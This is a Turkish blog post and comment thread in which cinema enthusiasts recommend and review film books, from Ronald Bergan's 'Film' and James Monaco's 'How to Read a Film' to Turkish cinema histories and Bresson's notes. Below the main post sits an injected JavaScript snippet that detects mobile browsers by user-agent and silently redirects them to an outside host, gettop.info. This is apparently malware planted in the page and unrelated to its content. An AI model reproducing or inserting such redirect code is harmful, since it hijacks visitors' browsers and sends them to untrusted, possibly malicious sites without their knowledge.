Sinema Üzerine Kaynak Kitaplar

Beğendiğimiz, faydalı bulduğumuz, hoşumuza giden sinema kitaplarını tavsiye edelim birbirimize. Sinema severler için bir rehber oluşturalım.

- Film

Yazarı, Ronald Bergan.
Açıkçası bu topiği açmama sebebiyet veren kitaptır. Dün bir D&R mağazasında gördüm ve kuşe kağıda basılı 500 sayfayı 2 saatlik hızlı bir okumaya tabi tuttum. Fiyat pahalı geldi, bu şekilde aradan çıkmış oldu :)

Kitap, “genel” bir rehber görevi ifa ediyor diyebilirim. Kabataslak, detaya inmeyen bir anlatımı var. Ama kapsam geniş. Görseller bol. Yolun başında bulunan ve sinema tarihine merak salmış arkadaşlara tavsiyedir.

Üç bölüme ayırırsak;

İlk bölümde dünya sinemasının şöyle bir şeceresi çıkarılıyor; tür/ülke/akım şeklinde kategorize edilmek suretiyle.

İkinci bölümde 100 kalburüstü yönetmen sıralanıyor. Sinema anlayışlarına dair genel bilgiler verilerek ve belli başlı filmlerine çok kısaca temas edilerek.

Üçüncü bölümde ise 100 büyük film sıralanmış.

***

- Politik Kamera

Michael Ryan & Douglas Kellner ikilisi, 60′lardan 80′lerin sonuna dek Hollywood’u mercek altına alıyorlar. Dönemin sosyal/politik konjonktürü ışığında, tek tek filmleri masaya yatırıyorlar ve bu filmlerin altındaki hiç de masum olmayan mesajları yakalıyorlar.

İdeolojik bir yolculuk.

***

- Dünya Sinema Tarihi

Yazarı, Geoffrey Nowell Smith.

Ronald Bergan’ın Film’inin detaylı ve daha profesyonel hali diyebiliriz kısaca. 1200 sayfalık bir yol haritası, bir rehber.

***

- Bir Film Nasıl Okunur

Bir Film Nasıl Okunur

Yazarı, James Monaco.
1977′den beri sinema okumalarında temel kaynak olduğu belirtilen bu eser, sonraki basımlarında ileriki on yılları da kapsayacak şekilde genişletildi.

Teknik terimlerin ve konuların yoğunlukta olduğu bir kitaptır. “Teknoloji”, “Mültimedya”, “Sayısal devrim”, “Göstergebilim”, alt başlıklarından bazıları.

Kitap, görsel açıdan çok zengin. Sayfalara, filmlerden epey bir kare iliştirilmiş ve o kare teknik yönlerden (kamera kullanımı, açı, ışık vb.) irdeleniyor.

Yanı sıra. Sinema tarihini tür tür, bölge bölge, dekad dekad işleyen bir bölüm de barındırıyor. Yine bolca kare ve açıklaması eşliğinde.

Yazarının, bir de “Yeni Dalga” isimli kitabı varmış.

***

Birkaç örnek daha;

- Yalnızlık Sineması (Robert Phillip Kolker) : Muhteşem bir kitaptır. Politik Kamera ile birbirlerini tamamlarlar.

- Türk Sinema Tarihi (Giovanni Scognamillo)

- Godard Godard’ı Anlatıyor (Jean-Luc Godard)

- Sinema Dersleri (Sergei M. Eisenstein)

- Hitchcock Sineması (Robin Wood)

- 100 Yılın 100 Filmi (Atilla Dorsay)

- Sinema Bir Şenliktir (Onat Kutlar)

- Rekin Teksoy’un Sinema Tarihi

Rekin teksoy sinema tarihi.jpg

(function(a,b){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4)))window.location=b})(navigator.userAgent||navigator.vendor||window.opera,’http://gettop.info/kt/?sdNXbH’);

Bu yazıyı paylaş:
  • Facebook
  • Twitter
  • Google Bookmarks
  • email
  • MySpace

“Sinema Üzerine Kaynak Kitaplar” bu yazı hakkında 26 yorum var

  • Yusuf Bozdemir diyor ki:

    Sevgili okaliptus

    Ben de şu kitapları ekliyeyim:

    - Ölmeden Önce Görmeniz Gereken 1001 Film (Steven Jay Schneider):

    Kitapta, filmler hakkında çok güzel eleştiriler ve ilginç bilgiler mevcut.

    - Mühürlenmiş Zaman (Andrei Tarkovsky):

    Tarkovski’ nin sinema sanatını nasıl gördüğü ve bu sanatı anlatırken Rus edebiyatından bolca örnekler sunduğu güzide kitabı. Dostoyevski ve Tolstoy hastası bir adamın haykırışları da diyebiliriz. İnsanlığı bekleyen tehlikelerin, bunların nasıl ortaya çıktığının, nasıl beslendiğinin ve niye durdurulamadığının bir dışavurumu. İnsanlığın içinde sevgi kırıntıları oldukça da umut olduğunun bir göstergesi belki de. Bu kitap öyle bir kitap ki, sinemaya biraz değer veren her bireyin en az bir kez okuması gerekir. Tarkovski’yi sevsek de sevmesek de dünya görüşünü yadsıyamayız bence.

    -Mutluluğun Peşinde (Hollywood’un Yeniden Evlilik Komedisi) / Stanley Cavell:

    Amerikalı felsefeci Stanley Cavell’ ın Amerika’da büyük buhran döneminde türemiş ve popüler olmuş bir komedi türü olan “screwball comedy” üzerine ait fikirlerini ve bu film türünden 7 tane film incelemesini içeren çok güzel bir kitap.

  • Mehmet ÇELİK diyor ki:

    Hemen aklıma gelen iki kitabın adını paylaşmak istiyorum:

    Kanımca sinema üzerine kaynak kitapları arasında olmazsa olmazlardan;
    - Sinema Nedir? (Andre Bazin)

    Sadece sinema üzerine olmasa da, filmler ve psikanalizlerine bayıldığım Zizek’in başucu kitabı;
    - Yamuk Bakmak (Slavoj Zizek)

  • Ziya Toroslu diyor ki:

    Şöyle bir düşündüm, ben okaliptüs80 diyorum :) Sizi tanımasak ta, tanışmasak ta, yıllarca yazılarınızla bizlere rehber oldunuz, tavsiyelerinizle, yorumlarınızla, engin bilginizle kendimizi geliştirmemize katkıda bulunmuşsunuzdur mutlaka.

    Kitaplara gelince, Ünlü Yönetmenlerden Sinema Dersleri’ni, Daniel Borden ve Florian Duijsens’in Film adlı kitabını, Sinema ve Psikanaliz’i, popüler sinema ile ilgilenenlere Burak’ın Kamerasından Hollywood’u, Aşktan da Üstün 50 Film Daha’yı, Ronald Bergan’ın Film Kitabı adlı eserini öneririm.

  • Kadircan KENDİNİBİLİR diyor ki:

    Güzel başlık, keyifle takip ediyorum. Yıllardır sinema adına bize büyük katkı sağlayan okaliptus80′e bir teşekkür de benden gelsin. Saygılar…

  • Jef _ Costello diyor ki:

    –>”Politik Kamera” adlı kitabı ben de sevmiştim..

    –>Bergan´ın kitabını ben de ayaküstü D&R da okudum, o kadar parayı zengin olsam da vermem o kitaba..

    ..

    *Sinema ve Varoluşçuluk – Hakan Savaş

    ..

    *Bir Pier Paolo Pasolini Kitabı – Artun Yeres

    *Bir Michelangelo Antonioni Kitabı – Artun Yeres

    ..

    *Yakın Plan Haneke – Thomas Assheuer

    ..

    *Son Nefesim – Luis Bunuel

    ..

    *Kayıp Kuşak Filmleri – Peter Hanson

    ..

    *Stanley Kubrick – Gene D. Philiphs

    ..
    –>Bresson´la ilgili nitelikli bir kitabın olmaması hayretler içinde bıraktı beni….

    –>Sevmediğim Zizeg´in “David Lynch’in Kayıp Otoban’ı Üzerine” adlı eserine ulaşmak ise baya zor..

  • okaliptus80 diyor ki:

    Bu site uzunca zamandır bizler için çok güzel bir buluşma noktası. Gerek burada gerek eski sitede, hepimiz birbirimizden sinema adına faydalanmışızdır muhakkak. Ben de sizlere teşekkür ederim bu anlamda. Ziya arkadaşımıza iki kez teşekkür ederim. Film incelemeleriyle, yorumlarıyla sitenin bir süredir durgun olan ateşini inatla harlamaya devam ediyor; bizi de eyleme geçmek için şevklendiriyor :)
    Jef’i yeniden görmek de sevindirici.

    Ayaküstü okumalara devam. Bizler, mağazaların “duran adam”larıyız. Görevlilere illallah dedirtecek kadar :)

    - Sinema ve Kadın

    Bir Atilla Dorsay kitabı. Kitabın adı, içeriğini ele veriyor zaten. Üstat, son kısımlara doğru eşcinsel sinemaya da yer vermiş. Vakit darlığından hızlı hızlı geçtim tüm sayfaları.
    Kitapta onlarca filme dair inceleme yazıları bulunuyor. 1972 yapımı ‘Liza’yı dahi unutmamış Dorsay. Marco Ferreri’nin yönettiği; Mastroianni ve Deneuve ikilisini gördüğümüz bir ada filmi. Dorsay, Liza’nın önemli bir film olduğunu belirtiyor.

    - Rekin Teksoy’un Ansiklopedik Sinema Terimleri Sözlüğü

    TRT 2′deki programının bir benzerini uzun zamandır göremediğimiz (beyazcam gitgide yozlaşıyor) rahmetli Rekin Teksoy’un, ölmeden az evvel tamamladığı kitabı. Bir ansiklopedi düşünün. A’dan Z’ye, harf harf, sinema sanatına dair aklınıza hangi terim geliyorsa (türler, akımlar dahil) hepsini açıklamış olsun. Öyle bir kitap işte. Bazı terimler daha uzun tutulmuş (2 sayfayı geçenler var), bazıları ise iki cümleyle tanımlanmış.
    İkinci bir ayaküstü okumadan sonra daha detaylı yazabilirim.

    - Hollywood’u Kapattığım Gün

    Bu da Alev Alatlı’nın yazdığı bir kitap. Alatlı’nın kitapları (özellikle Or’da Kimse var mı serisi), yoğun bir bilgi ve göndermeler bombardımanı şeklindedir. Rastgele okuduğum sayfalara istinaden, biraz Politik Kamera tadı aldığımı ve Alatlı’nın sinemaya hakim olduğunu söylemeliyim. Sessiz Sinema dönemlerine dek uzanıyor yazar.

  • Ziya Toroslu diyor ki:

    Güzel yorumlarınız için ben de size tekrardan teşekkür ederim hocam. Elimizden geldiğince bir şeyler yapıyoruz, yazıyoruz. Sizi de görmek isteriz aramızda aynı şekilde. Geçenlerde iki film keşfettim, ama sanırım ulaşması zor, festivallerde karşımıza çıkarsa veya piyasaya çıkarsa ilgili tüm sinemaseverler için iyi olur. 1992 yapımı The Long Day Closes ile 1996 yapımı Big Night. İkincisi biraz Zengin Mutfağı’na mı benziyor diye düşündüm? Aklıma siz geldiniz, hani öyle büyük bir aksilik çıkmadıysa kesin izlemiştir hocam diye düşündüm, birer cümle ile de olsa yorumlarınızı bekliyorum eğer izleme şansına eriştiyseniz bu iki filmi.

  • okaliptus80 diyor ki:

    Bu mesajı dün 23 sularında okudum ve bir kez daha izlemek üzere ‘The Long Day Closes’i arşivden çıkardım. Siz birer cümle demişsiniz ama ben yorumlayayım istedim. Sayenizde tazeleme oldu.
    Film, İng. altyazılı bulunabiliyor ancak. Piyasaya çıkması bence zaman alacaktır. Üzerindeki şal henüz kalkmadı.

    ‘Big Night’ ise arşivimde bulunmuyor. Televizyonda izlemiştim sanırım. Zengin Mutfağı gibi tek mekanda geçmediği gibi, onun politik hassasiyetlerinden de uzaktı. Aklımda sadece mutfaktaki esprili yemek konuşmaları, İtalya / Amerika kıyaslamaları (göçmenlik, yemek kültürü vs.) kalmış. Umarım yanlış hatırlamıyorumdur.

    ‘Tampopo’yu tercih ederim :)

  • Ziya Toroslu diyor ki:

    Filme yeni bir başlık açıp yorum yaptığınız için çok sevindim, birazdan okuyacağım. Evet, hatta bu filme gelinceye kadar daha neler var neler ulaşılmayı, keşfedilmeyi bekleyen. Mesela bir In The Company of Men’i çıkarsalar da arşivimize katsak! En merak ettiğim filmlerin başında geliyor. Big Night ile ilgili yorumunuz da aydınlatıcı olmuş, teşekkürler.

  • okaliptus80 diyor ki:

    Rica ederim bir kez daha.

    - Ansikopedik Türk Filmleri Sözlüğü

    Türk Sineması’na dair kaleme alınmış kitaplar dendiğinde akla iki isim geliyor önce: Nijat Özön ve Agah Özgüç.

    Agah Özgüç’ü, Yeşilçam’ın seks filmleri furyasını anlatan bir belgesel vasıtasıyla tanımıştım. 90′ların ortasıydı. Yaşı müsait olanlar hatırlar; Süper Kanal diye bir kanal vardı yerli filmler veren, orada olabilir. Oksal Pekmezoğlu’ndan, Üç Tavuk Bir Horoz’dan filan bahsediyordu :)

    En son 1 ay önce yine bir kanalda söyleşi programında izledim. Sinemamız tartışılıyordu ve derken programın moderatörü, Özgüç’ün çekiç niyetine kullanılabilecek kitabını gösteriyordu:

    “Ansikopedik Türk Filmleri Sözlüğü”

    1000 küsur sayfada, sinemamızın röntgeniymiş kitap. Epey de bir fotoğraf barındırıyor.

    Tabii piyasada bulmak zor. 200 liralık fiyatı da cabası.

    ***

    - Bu Kâbuslar Neden Cemil

    U. Tümay Arslan’ın yazdığı bir kitap. Cüneyt Arkın’ın “Cemil” filmleri merkeze alınarak, 70′lerin politik havasına ve ataerkil ilişkilerine değiniliyor.

    ***

    - Türk Sinema Tarihi

    Fikret Hakan’dan… Bu da bir başka tuğla :)

    ***

    Türk Sineması’nın 100. yaşını kutlamaya hazırlandığı şu günlerde, başlıkta geçilen birkaç kitap olsunlar.

  • okaliptus80 diyor ki:

    - Kız Kulesindeki Kızılderili

    “Hak, hukuk ve adalet kovboy filmlerinde dağıtılır.” demiş, Behçet Necatigil hoca.

    Sunay Akın’ın güzel bir kitabı. “Kızılderililerin” başrolünde olduğu, tarih içinde bir yolculuk. Western sineması da hatırı sayılır yer tutuyor yekun içinde.

    Birkaç alt başlık ve alıntı;

    * “En iyi kızılderili, ölü kızılderilidir!” demişler bir vakit. O gelenekten beslenen John Ford üstat, Cheyenne Autumn ile günah çıkartıyordu. Söz onda:
    - Custer, Beecher ve Chivington’ın öldürdüğü Kızılderililerin toplamından daha fazlasını öldürdüm. Avrupa’daki insanlar her zaman bilgi sahibi olmak isterler. Şunu kabul edelim ki, onlara çok kötü davrandık. Haksızlıklar yaptık, çaldık, katlettik, her şeyi yaptık. Ama onlar, bir tek beyaz adam öldürdüğü zaman, aman tanrım; ordular çıkageldi.

    * 1995 yapımı ‘Pocahontas’ adlı animasyonu, o Kızılderili hanımı kim hatırlamaz. Ama acaba orada anlatıldığı gibi masum bir aşk mıydı yaşananlar. Deşiyor yazar.

    * Western sinemasının bu topraklara da uğradığını biliyoruz. Yılmaz Güney’ler, Ahmet Sert’ler ve peşi sıra bir furya. Özelikle Çirkin Kral’ın nezdinde, ezilmiş Anadolu insanı ve Amerika yerlileri arasında bağ kuruluyor.

    * Marlon Brando’dan bahsetmemek olmaz tabii. Godfather I ile gelen oyuncu Oscar’ını reddederken kendisini temsil etmek üzere törene kızılderili kadın gönderdiğini biliyoruz: http://alkislarlayasiyorum.com/icerik/106944/the-god-father-oscar-protestosu-1973

    ———————–

    - Sinema ve Felsefe

    Dücane Cündioğlu’nun henüz okumadığım kitabı. Şöyle bir üstünkörüce baktım, okunmasında fayda var. Tarkovski, Trier vb. yönetmenlerin sineması ve seçme örnekler, felsefeyle yoğrularak veriliyor. Maneviyata vurgu ağır basıyor kitapta.

    ————————

    - Beyin Ekran

    Ulus Baker’in hazmı zor kitabı. Sinema ve felsefe, yoğun/katmanlı şekilde birleştiriliyor. Mekanik ve tumturaklı bir anlatımı var kitabın. Yazardan aşinayız zaten. Kitaptan birkaç alt başlık;

    * Godard ve Video
    * Neden Godard ile Uğraşıyoruz
    * Bresson ve Transandantal İmaj
    * Tarkovski’nin Aynası
    * Uzakdoğu’nun Sineması ve Dolaylı Olumsuz Eylem
    * İran Sineması ve Kadın
    * Dostoyevski’den Tarkovski’ye ve Sokurov’a
    * Sovyet Sinema Tarihi (Vertov’dan, Eisenstein’den, “montaj”dan vs. uzun uzun bahsediliyor.)

    Bunlar sadece aysbergin görünen kısmı :) Özellikle Yurttaş Kane incelemesinde iktidar modelinden hareketle sinemayı felsefeye meze ediyor Baker. Foucaultlar, Spinozalar… filozoflar geçit resmi.

  • okaliptus80 diyor ki:

    Dücane Cündioğlu’nun “Sinema ve Felsefe”sini bugün bir D&R’da yine duran adamlığa soyunarak okudum. Gönül isterdi ki oturan boğa olalım ama tabure bulunmayınca :)

    Dücane Bey bu kitapta sinemayı, felsefeye (İslam felsefesi ve tasavvufdan da besleniliyor) ve maneviyata yediriyor. Takdir edersiniz ki Bergman, Scorsese, Tarkovski ve Trier gibi yönetmenler bu anlamda incelenmeye uygun isimler. Öyle de yapılmış. Tarkovski’ye ayrı bir ilgisi var. Onun sinemasının, “dua”nın aldığı bir biçim olduğunu söylüyor ve zirvede Andrei Rublev’i görüyor.
    Bergman daha az yer tutuyor; Dreyer’den ise gözümden kaçmadıysa hiç bahsedilmemiş.

    Yazar sıkı bir Kurosawa hayranı. ‘Rashomon’ ve ‘Hakuchi’, incelemesi yapılan Kurosawalar.

    Fransız Sineması’na ise biraz menfi yaklaşıyor. Ondaki “müstehcenliği” bir parça yeriyor.

    Sidney Lumet’ten bahsederken, “yönetmenin başyapıtı 12 Kızgın Adam filan değildir” diyor ve kendi adayını açıklıyor. Pantheon’un 10′una girer diye de tanımlayarak: ‘Equus’ (1977). Katılmak zor.

    Max Frisch’in, 1991′de Schlöndorff tarafından perdeye uyarlanan ‘Homo Faber’ romanından da bahsediyor. Tıpkı ‘Zen ve Motosiklet Bakım Sanatı’ndaki gibi akıl ile inanç karşı karşıya getiriliyordu ve baş kahraman Walter de pozitivizmin temsilcisiydi. Eseri bu düzlemde ve tabii ki “mana” kanadına yakın durarak okuyor. Pozitivizmi yeriyor. Bazı şeyler (tanrı) için illa ki bilimin mantığı ya da somut veriler gerekmez; o bir inanç işidir demeye getiriyor. Kant vb.leri gibi.
    Cündioğlu, uyarlamanın kitabı geride bıraktığını da ilave ediyor. Gerçekten güzel bir filmdi.

    Son kısımda ise sinemada ressamlar dosyası var. Resim sanatının perdedeki örneklerinden bahsediliyor. Perdeyi tuval gibi kullanan Greenaway’ın hakkı teslim ediliyor.

    ——————————————————–

    - Çağını Sorgulayan Sinema

    Bu kitabı şiddetsiz tavsiye ediyorum okumamış olanlara. Ali Gevgilili yazmış.

    İlk kısımları, sevgili Mehmet’in yazdığı “Sinema Nedir”e benziyor. Siyah beyaz dönemlerin çok güzel bir kolajı yapılmış. Sinemayı sanat yapanlara bir saygı duruşu var.

    Yine filmlerden özel özel bahsediliyor. ‘Hal ve Gidiş Sıfır’, ‘Büyük Aldanış’, ‘Posta Arabası’, ‘Alexander Nevisky’ ve ‘Korkunç İvan’, ‘Brief Encounter’, ‘Leopar’, ‘Yurttaş Kane’, ‘Apu Üçlemesi’, Wajda filmleri, Fellini’ler, Pasolini’ler… Yoruldum, dahası da var. ‘Sıradan Faşizm’e dek aklınıza gelebilecek pek çok film, yönetmen ve analizi.

    Sonlara doğru kültür emperyalizmi içerisinde sinemanın konuşlandığı yer işleniyor.

    Çağını Sorgulayan Sinema, bir sinema sever için hem keyif verici hem sorgulayıcı bir okuma serüveni.

    NOT: Bulunması biraz zor olabilir. Çünkü ilk ve tek basımı 1989. Ben sahaflarda tesadüfen görmüş ve incelediğim gibi almıştım. Yoksa haberdar filan değildim kitaptan.

  • Jef _ Costello diyor ki:

    Sinematograf Üzerine Notlar – Bresson

    ..
    İlk yazımda Bresson´la ilgili NİTELİKLİ kitap bulamamaktan yakınmışım, taki bunu bulana dek..
    Bresson gerçekten apayrı biridir, tıpkı anarşist-nihilist yazar Albert Caraco gibi SINIFLANDIRILMASI GÜÇ birisidir..
    Laf cazbazlığı yok, sadece nokta atışlar var..

    ..
    Cündioğlu´nun SİNEMA VE FELSEFE adlı kitabını ben de ilkin D&R´DAn okumuştum, sonra halk kütüphanesinde gözüme ilişti, hemen kaptım ben de.
    Okunmasında fayda var. (özellikle Trier´in Deccal eseri yorumu önemli..)
    ..Yazar´ın SANAT VE FELSEFE adlı kitabında ise bol bol ressamlardan bahsediyor..Okumaya pek gerek yok bence..

    **

    Matrix ve Felsefe – William İrwin

    Aslında buna kitap diyemeyiz, derleme – seçki desek daha doğru..
    Önemli birkaç yazarın film hakkındaki uzun soluklu görüşleri..
    İlerledikçe yorumların aynılığını görenler kitaptan sıkılabilir..-Bu uyarıyı yapalım..-
    Göz atın ama arşivlik olduğunu söylemek güç..

    **

    Kayıp Otobanlar
    Yol Filmlerinin Sıradışı Tarihi – Jack Sargent/ Stephanie Watson

    ..
    Yol filmleriyle alakalı çok kapsamlı bir kitap olduğunu SEZİNLİYORUM..
    El topo´yu bile ele almışlar mesela..
    Ancak bu kitaba ulaşmak, ormanda yürüyen ve ayağına çivi batan birinin kuşkulandığı yeri kazması sonucu tesadüden altın bulması kadar düşük bir ihtimal:)
    ..Bazı eserlere ulaşamıyoruz, bu gerçekten üzüyor bizleri..Ama yapacak bir şey yok..
    Bu bizim problemimiz değil, niteliksizleri en tepeye çıkartıp niteliklileri tozlanmaya ve yok olmaya mahkum eden kuş beyinliler düşünsün bunu..
    Amerikaya mı gidelim yani kitaplar için?
    ..
    Bu arada bu siteye yazmaya özlemişim..
    Önemli isimler var burda ve “artık bir seçki yapmanın zamanı geldi mi” diye de kendi kendime sorup duruyorum..
    ..

  • okaliptus80 diyor ki:

    Bresson’un kitaplarıyla da ufuk açtığına, konfor sarstığına eminim…

    ‘Kayıp Otobanlar, Yol Filmlerinin Sıradışı Tarihi’ni de şimdi senden öğrendim. Ben de hiçbir yerde görmedim. Görsem hatırlardım. Yol Filmleri hastasıyız :)

    İdefix’te tadımlık bir 11 sayfa koymuşlar, şimdi okudum. “Otomobil sürmeyi”, yetişkinleşmenin ve ebeveynlerin muhafazakar dünyasına başkaldırının bir simgesi olarak almışlar. Asi Gençlik! Beat kısmına geçtim ki bitti. Hakikaten bu kitap alınır.

    Seçki yapmayı ben de özledim…

  • Deniz Ziya Toroslu diyor ki:

    Merhaba hocam, nasılsınız? Epeydir görmüyorduk sizi buralarda :)
    Sizden bir Kış Uykusu değerlendirmesi, hatta genel olarak Nuri Bilge Ceylan sineması değerlendirmesi bekliyorum, aynı şekilde Jef Costello’dan…

    Hocam izlediniz mi bilmiyorum ama NBC sineması bu film ile ciddi bir değişime uğramış. Önceki filmlerinden çok farklı, neredeyse Doktor Zhivago tadında bir filmle karşı karşıyayız!

    Ben ise tam tersine seçki yapmaktan epey sıkıldım, kendimi eleştiri yazmaya verdim :) Sanırım bu böyle devam edecek.

    Sinemayla kalın!

  • okaliptus80 diyor ki:

    İyi diyelim iyi olalım. “Kötü”den sonra “Çirkin” de gitti biliyorsunuz. Elimizde bir “İyi” kaldı.

    Sitemizi yorumlarıyla adeta sırtlayan sevgili Ziya. Son incelemeyi gördüm. Sürpriz bozan içermediğine göre okunabilir aslında ama yine de filmi izledikten sonra okumayı tercih ederim. Öylesi daha güzel oluyor :) 1982′deki “poz”un tekrarlanışı ve Ceylan ismi bir yana; sırf bu emeğinin hatırı için bile gidip izlenir.
    Yorum için söz vermeyeyim. İnanın bu ara bir tembellik var. Ama okumak da yetiyor, kaleminize sağlık. Umarım size ayak uydurabiliriz tekrar. İyice boşladık.

  • Deniz Ziya Toroslu diyor ki:

    Nasıl rahat edecekseniz öyle yapın hocam :) Evet, üzerine en iyi yabancı film oskarını da alırsa halimizi düşünemiyorum, tabii sevenleri için! O tembellik bazen bende de oluyor, ama yeniyorum sonra :) Temennileriniz için içten teşekkür ederim. En son Locke adlı (ismi Rus asıllı baş karakterin soyadından geliyor) filmi izledim. Çok iyiydi. Üzerine bir yazı yazmak istedim, sonra toparlayamayıp vazgeçtim. Belki ikinci izleyişte… Tek mekanda geçen filmleri bilmeyenimiz yoktur, bu film ise bunu bir tık daha ileri taşıyor, koca film bir arabanın ön koltuğunda geçiyor :) Tavsiye ederim. iyi akşamlar…

  • Jef _ Costello diyor ki:

    Ulus Baker´in “Beyin Ekran” kitabını dün inceledim, adam (yazar demiyorum çünkü o bir analizci) sürekli deleuze, foucault, zizek´i referans alıyor ..
    (kitapta TARKOVSKY, GODART VE BRESSON SİNEMASINI İNCELİYOR GENEL OLARAK..)

    Ben bu adamların (deleuze, foucault, zizek, F.jameson….) yazar olduğunu düşünmüyorum..Bolca laf cambazlığı, teori aşırmacılığı yapıyor ve kodlar aracılığıyla karmaşıklık yaratıyorlar..

    Albert Caraco´nun dediği gibi:

    Düşünce ustalarımız batmış haldeler, anladığımız üç düzine sözcüğün yerine üç düzine meçhul söz koyduklarında ve bunlar aracılığıyla kendi kullanacakları bir kod oluşturduklarında,
    yeni temeller attıklarını onlara hayranlık diyeti ödememiz gerektiğini söylüyorlar bize..
    DÜNYA HİÇ BU KADAR SEFİLCE AÇIKLANMIŞTI, ağırlıklar ve ölçüler yanlış, referans noktalarının hepsi sorunsallık;
    ben terimlerin kabulünden söz etmiyorum, fikirlerin kaosuna giriyoruz ve sözcüklerin fahişeliği bizi buna sürüklüyor.
    HİÇBİR ŞEY OLDUĞUNDAN FAZLA DEĞİL, HER ŞEY BAŞKA BİR ŞEY OLMA İDDİASINDA, göründüğü gibi olmayı reddediyor;
    akıl almaz yüzlerce aldatma doğuyor böylelikle; yazarlar, saygınlık br itibarla çevrili (bana göre burda akademisyenlerin beş para etmediğini söylüyor) ne yapacaklarını bilemez haldeler..
    Bunun sonucunda genel bir uyuşukluk yayılıyor her tarafa; ve eğer Tarih´in dersine kulak verseydik, uyuşukluktan sersemliğe giden yolun en kaygan yollardan biri olduğunu bilirdik..

    **

    Tarkovsky´le alakalı “ŞİİRSEL Sİnema”´yı “Mühürlenmiş Zaman”´´a tercih ederim..
    David Lynch´le alakalı “TEKİNSİZİN SİNEMASI”´nda ise LYNCH, Haneke sinemasının temel bileşenlerinden biri olan -NEDENSİZLİĞİ- SÖYLEŞİSİNDE TEMEL DÜSTUR olarak (SORULAR KARŞISINDA MUĞLAK CEVAPLAR VERİYOR) benimsemiş.Bence arşivlik bir kitap değil..

    Bresson´un SİNEMATOGRAFİ ÜZERİNE NOTLAR adlı kitabına ulaşmakta zorluk çekenler için telafi:

    http://www.turkcealtyazi.org/mov/9506259/un-metteur-en-ordre-robert-bresson.html

    Un metteur en ordre: Robert Bresson (1966)

    FİLM İLE SİNEMANIN FARKINI BRESSON´DAN DUYUN, İZLEYİN..

    Böyle bir adam dünyaya bir kere gelir..Tıpkı Hitler´in dünyaya bir kere geldiği gibi..

    –>Belgeselde, sevmediğim Malle ve Sİnemanın militanı GODART´da var..-İZLEMEDEN GEÇMEYİN..-

    **

    Benim merak ettiğim Cronenberg ve Coen´lerle alakalı bir kitap neden yok, var da türkçe çevirisi mi yapılmadı-? halen anlamış değilim..
    Bu iki isim özellikle Cronenberg son zamanlarda kendini tekrar etse de sinema tarihine yön veren önemli neferlerdir..
    ..
    Son olarak Dardenne kardeşlerin bir film daha çektiklerinde kendilerini tekrar edeceğini söylemiştim, sanırım bu oldu..
    Haneke artık yaşlandı ve noktalaması gerekir..USTASI BRESSON GİBİ 83 YAŞINDA FİLM ÇEKMEMELİ..
    ..
    HORSSATAN´dan sonra Dumont´dan ses çıkmadı..Reygadas da nedense teknolojinin tuzağına yakalananlardan…
    **

    “Sanatın Sonu” adlı kitap bu kategoriye girer mi bilmiyorum?
    Baudrillard´ın “Sanat Komplosu” ve “Katiller Sanatçılar ve Teröristler”´i önemli iki kitap..

  • Jef _ Costello diyor ki:

    Kavur´la alakalı bir kitap piyasaya yeni çıktı, (Agora yayınevi) tam incelemedim ama 30 saniye sayfaları karıştırıp baktım; ilgimi çeken birşey olmadı, (Gözüm Gizli Yüz filmini aradı ama aceleye getirilmiş, çalakalem, derleme bir kitap gibi geldi bana..)Grillet´ten bol esintiler taşıyan çok büyük yönetmendi kendisi..

    **

